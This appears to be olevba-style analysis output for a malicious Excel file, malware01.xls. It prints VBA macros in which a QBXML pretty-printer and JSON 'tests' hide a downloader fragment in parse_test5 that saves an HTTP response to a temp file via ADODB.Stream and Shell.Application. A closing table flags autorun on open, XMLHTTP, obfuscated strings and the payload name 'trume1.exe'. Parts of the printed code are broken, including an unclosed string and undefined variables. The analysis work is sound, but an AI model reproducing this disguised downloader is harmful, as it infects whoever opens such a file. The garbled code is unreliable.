Public Sub GetTags(strInString As String, _
 strStartTag As String, _
 strEndTag As String, _
 intTagLength As Integer)
 If InStr(1, strInString, "<") = 0 Or InStr(1, strInString, ">") = 0 Or _
 InStr(1, strInString, "</") = 0 Or left(strInString, 1) <> "<" Then
 strStartTag = Empty
 strEndTag = Empty
 intTagLength = 0
 Exit Sub
 End If
 strStartTag = left(strInString, InStr(1, strInString, ">"))
 intTagLength = Len(strStartTag)
 strEndTag = Replace(strStartTag, "<", "</")
 If InStr(1, strInString, strEndTag) = 0 Then
 strStartTag = Empty
 strEndTag = Empty
 intTagLength = 0
 End If
End Sub
Public Sub PrettyPrintXMLToFile(XMLString As String, _
 XMLFile As String)
 Dim SplitXMLString() As String
 Dim IndentString As String
 Dim XMLStringLength As Long
 Dim SplitIndex
 Dim FileNum As Integer
 If Trim(XMLString) = Empty Then Exit Sub
 IndentString = Empty
 FileNum = FreeFile
 Open XMLFile For Output As FileNum
 XMLString = Replace(XMLString, vbLf, vbNullString)
 SplitXMLString = Split(XMLString, "<")
 SplitIndex = LBound(SplitXMLString) + 1
 Do
 If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
 IndentString = left(IndentString, Len(IndentString) - 3)
 Print #FileNum, IndentString & "<" & _
 SplitXMLString(SplitIndex)
 SplitIndex = SplitIndex + 1
 ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
 If InStr(1, left(SplitXMLString(SplitIndex), _
 InStr(1, SplitXMLString(SplitIndex), ">")), _
 " ") > 0 Then
 Print #FileNum, IndentString & "<" & _
 SplitXMLString(SplitIndex)
 SplitIndex = SplitIndex + 1
 Else
 Print #FileNum, IndentString & "<" & _
 SplitXMLString(SplitIndex) & "<" & _
 SplitXMLString(SplitIndex + 1)
 SplitIndex = SplitIndex + 2
 End If
 Else
 Print #FileNum, IndentString & "<" & _
 SplitXMLString(SplitIndex)
 If SplitXMLString(SplitIndex) <> "?xml version=""1.0"" ?>" And _
 SplitXMLString(SplitIndex) <> "!DOCTYPE QBXML PUBLIC
 InStr(1, SplitXMLString(SplitIndex), "qbxml version") = 0 Then
 IndentString = IndentString & " "
 End If
 SplitIndex = SplitIndex + 1
 End If
 Loop Until SplitIndex >= UBound(SplitXMLString)
 If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
 If Len(IndentString) >= 3 Then
 IndentString = left(IndentString, Len(IndentString) - 3)
 End If
 End If
 Print #FileNum, IndentString & "<" & _
 SplitXMLString(UBound(SplitXMLString))
 Close FileNum
End Sub
Public Function PrettyPrintXMLToString(strInXMLString As String) As String
 Dim SplitXMLString() As String
 Dim IndentString As String
 Dim XMLStringLength As Long
 Dim SplitIndex
 Dim FileNum As Integer
 Dim XMLString As String
 Dim strOut As String
 XMLString = strInXMLString
 strOut = Empty
 If Trim(XMLString) = Empty Then
 PrettyPrintXMLToString = Empty
 Exit Function
 End If
 IndentString = Empty
 XMLString = Replace(XMLString, vbLf, vbNullString)
 SplitXMLString = Split(XMLString, "<")
 SplitIndex = LBound(SplitXMLString) + 1
 Do
 If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
 IndentString = left(IndentString, Len(IndentString) - 3)
 strOut = strOut & IndentString & "<" & _
 SplitXMLString(SplitIndex) & vbCrLf
 SplitIndex = SplitIndex + 1
 ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
 If InStr(1, left(SplitXMLString(SplitIndex), _
 InStr(1, SplitXMLString(SplitIndex), ">")), _
 " ") > 0 Then
 strOut = strOut & IndentString & "<" & _
 SplitXMLString(SplitIndex) & vbCrLf
 SplitIndex = SplitIndex + 1
 Else
 strOut = strOut & IndentString & "<" & _
 SplitXMLString(SplitIndex) & "<" & _
 SplitXMLString(SplitIndex + 1) & vbCrLf
 SplitIndex = SplitIndex + 2
 End If
 Else
 strOut = strOut & IndentString & "<" & _
 SplitXMLString(SplitIndex) & vbCrLf
 SplitIndex = SplitIndex + 1
 End If
 Loop Until SplitIndex >= UBound(SplitXMLString)
 If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
 If Len(IndentString) >= 3 Then
 IndentString = left(IndentString, Len(IndentString) - 3)
 End If
 End If
 strOut = strOut & IndentString & "<" & _
 SplitXMLString(UBound(SplitXMLString))
 PrettyPrintXMLToString = strOut
End Function
Private Function NewMessageSetID() As String
 NewMessageSetID = Format(Now, "XyyyymmddThhmmss")
End Function






-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public httpRequest As Object
Private Sub ToString_test1()
 Dim lib As String
 Set lib = New ejsonlib
 Dim a As String
 Dim b As Date
 Debug.Print "=> ToString_test1"
 b = Now()
 Debug.Print , "ToString_test1=" & libdd.dd.ToString(Array("a", "b", Array(1, b, "3")))
 If libdd.dd.ParseError = vbNullString Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED"
 End If
 Set lib = Nothing
End Sub
Private Sub ToString_test2()
 Dim lib As String
 Set lib = New ejsonlib
 Dim a As Object
 Dim b As Object
 Dim c As New Collection
 Debug.Print "=> ToString_test2"
 Set a = CreateObject("Scripting.Dictionary")
 Set b = CreateObject("Scripting.Dictionary")
 a("aaa") = "abc"
 a("bbb") = Array(0, 1, b)
 b("ccc") = "def"
 Set b("ddd") = c
 c.Add "ghi"
 c.Add 999
 Debug.Print , "libdd.dd.ToString(a)=" & libdd.dd.ToString(a)
 If libdd.dd.ParseError = vbNullString Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED"
 End If
 Set lib = Nothing
 Set c = Nothing
 Set b = Nothing
 Set a = Nothing
End Sub
Private Sub parse_test1()
 Dim lib As String
 Set lib = New ejsonlib
 Dim json As Object
 Dim parseString As String
 Debug.Print "=> parse_test1"
 parseString = " " & vbCrLf & vbTab & " {}"
 Debug.Print , "parseString=" & parseString
 Set json = libdd.dd.Parse(parseString)
 If libdd.dd.ParseError = vbNullString Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED {}"
 GoTo PROC_EXIT
 End If
 Debug.Assert TypeName(json) = "Dictionary"
 Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
 Debug.Print
 parseString = " " & vbCrLf & vbTab & " []"
 Debug.Print , "parseString=" & parseString
 Set json = libdd.dd.Parse(parseString)
 If libdd.dd.ParseError = "" Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED []"
 GoTo PROC_EXIT
 End If
 Debug.Assert TypeName(json) = "Collection"
 Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
PROC_EXIT:
 Set json = Nothing
 Set lib = Nothing
End Sub
Private Sub parse_test2()
 Dim lib As String
 Set lib = New ejsonlib
 Dim json As Object
 Dim parseString As String
 Debug.Print "=> parse_test2"
 parseString = " " & vbCrLf & vbTab & " {}"
 Debug.Print , "parseString=" & parseString
 Set json = libdd.dd.Parse(parseString)
 Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
 If libdd.dd.ParseError = vbNullString Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED"
 End If
 Set json = Nothing
 Set lib = Nothing
End Sub
Private Sub parse_test3()
 Dim lib As String
 Set lib = New ejsonlib
 Dim json As Object
 Dim strEmbed As String
 Dim errString As String
 Debug.Print "=> parse_test3"
 strEmbed = " [[], {""test1"":"
 Debug.Print , "strEmbed=" & strEmbed
 Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbed)
 Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
 If libdd.dd.ParseError = vbNullString Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED"
 End If
 Set json = Nothing
 Set lib = Nothing
End Sub
Private Sub parse_test3a()
 Dim lib As String
 Set lib = New ejsonlib
 Dim json As Object
 Dim strEmbedValid As String
 Dim errString As String
 Debug.Print "=> parse_test3a STRICT JSON"
 strEmbedValid = " [[], {""test1"":""v1"", ""test2"":""v222"", ""test3"":""v33333""}, null , ""test"", 123, 567.8910, 4.7e+10, true, false]"
 Debug.Print , "strEmbedValid=" & strEmbedValid
 Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbedValid)
 Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
 If libdd.dd.ParseError = vbNullString Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , libdd.dd.ParseError
 Debug.Print , "FAILED"
 End If
 Set json = Nothing
 Set lib = Nothing
End Sub
Private Sub parse_test4()
 Dim lib As String
 Set lib = New ejsonlib
 Dim json As Object
 Dim errString As String
 Dim strEmbed As String
 Debug.Print "=> parse_test4"
 strEmbed = "[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]"""
 Debug.Print , "strEmbed=" & strEmbed
 Set json = libdd.dd.Parse("[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]")
 Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
 errString = libdd.dd.ParseError
 If errString = "" Then
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , errString
 Debug.Print , "FAILED"
 End If
 Set json = Nothing
 Set lib = Nothing
End Sub
Public Sub parse_test5()
 Dim lib As String
  Dim json As Object
 Dim Text As String
 Dim res1 As String
 Dim res2 As String
 Dim errString As String

Set shellApp = CreateObject("Shell.Application")


 With CreateObject("ADODB.Stream")
 .Type = 1
    .Open
    .write httpRequest.responseBody
    .savetofile tempFile, 2
 .Close
 End With
 Exit Sub
 Debug.Print , "text=" & Text
 Set json = libdd.dd.Parse(Text)
 Debug.Assert Err.Number = 0
 res1 = libdd.dd.ToString(json)
 Set json = libdd.dd.Parse(libdd.dd.ToString(json))
 Debug.Assert Err.Number = 0
 res2 = libdd.dd.ToString(json)
 errString = libdd.dd.ParseError
 If errString = "" Then
 Debug.Print , res1
 Debug.Print , res2
 Debug.Assert (res1 = res2)
 Debug.Print , "VALIDATED"
 Else
 Debug.Print , errString
 Debug.Print , "FAILED"
 End If
 Set json = Nothing
End Sub
Private Sub skip_test()
 Dim lib As String
 Set lib = New ejsonlib
 Dim str As String
 Dim index As Long
 Dim errString As String
 Debug.Print "=> skip_test"
 str = vbCrLf & vbCr & vbLf & " " & "abc"
 index = 1
 libdd.dd.SkipChar str, index
 Debug.Assert index = 6
 Debug.Print , "index=" & index, "Mid(str, index, 1)=" & Mid(str, index, 1)
 Set lib = Nothing
End Sub



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Print #              | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Lib                  | May run code from a DLL                 |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | trume1.exe           | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | \trume1.exe          | "\" + "" + "" + "tru" + "" + "" + "me1" |
|            |                      | + "." + "" + "e" + "xe"                 |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string |  abc                 | " " & "abc"                             |
+------------+----------------------+-----------------------------------------+